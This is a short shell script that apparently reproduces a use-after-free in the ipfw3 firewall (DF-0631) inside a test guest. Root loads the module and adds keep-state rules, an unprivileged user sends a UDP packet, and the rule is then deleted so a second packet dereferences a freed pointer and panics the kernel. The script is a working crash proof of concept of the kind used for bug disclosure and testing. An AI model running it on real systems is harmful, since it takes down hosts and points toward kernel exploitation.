DF-0631 / run.sh
#!/bin/sh # DF-0631 reproduction: ipfw3 keep-state UAF after rule deletion. # # Flow (root orchestrates; trigger packet comes from unprivileged maxx): # 1. default_to_accept=1 -> avoid lockout # 2. kldload ipfw3 + ipfw3_basic # 3. net.link.ether.ipfw=1 -> packets reach ip_fw3_chk # 4. add check-state + keep-state(udp) rules # 5. maxx ./udppkt -> creates state s->stub=<rule ptr> # 6. ipfw3 delete 200 -> kfree(rule); s->stub dangling # 7. maxx ./udppkt -> check-state finds state, *f=s->stub -> UAF/panic # # After step 7 the guest should panic (captured in serial boot.log). set -u cd "$(dirname "$0")" echo "== step 1: default_to_accept (avoid lockout) ==" sysctl -w net.filters_default_to_accept=1 echo "== step 2: load ipfw3 ==" kldload ipfw3 || true kldload ipfw3_basic || true kldstat | grep -E "ipfw3" || true echo "== step 3: enable L2 firewall hook so ipfw3 sees packets ==" sysctl -w net.link.ether.ipfw=1 echo "== step 4: rules ==" ipfw3 add 100 check-state 2>&1 || true ipfw3 add 200 allow udp from any to any keep-state 2>&1 || true ipfw3 show 2>&1 | head -20 || true echo "== step 5: create state (as maxx) ==" su maxx -c './udppkt' 2>&1 || true # give the packet a moment to be processed sleep 1 echo "== step 6: delete rule 200 -> dangling s->stub ==" ipfw3 delete 200 2>&1 || true ipfw3 show 2>&1 | head -20 || true echo "== step 7: trigger UAF (as maxx, same 5-tuple) ==" echo "DF0631_TRIGGER" su maxx -c './udppkt' 2>&1 || true sleep 2 echo "DF0631_DONE (if we get here, no panic on trigger; check boot.log)" |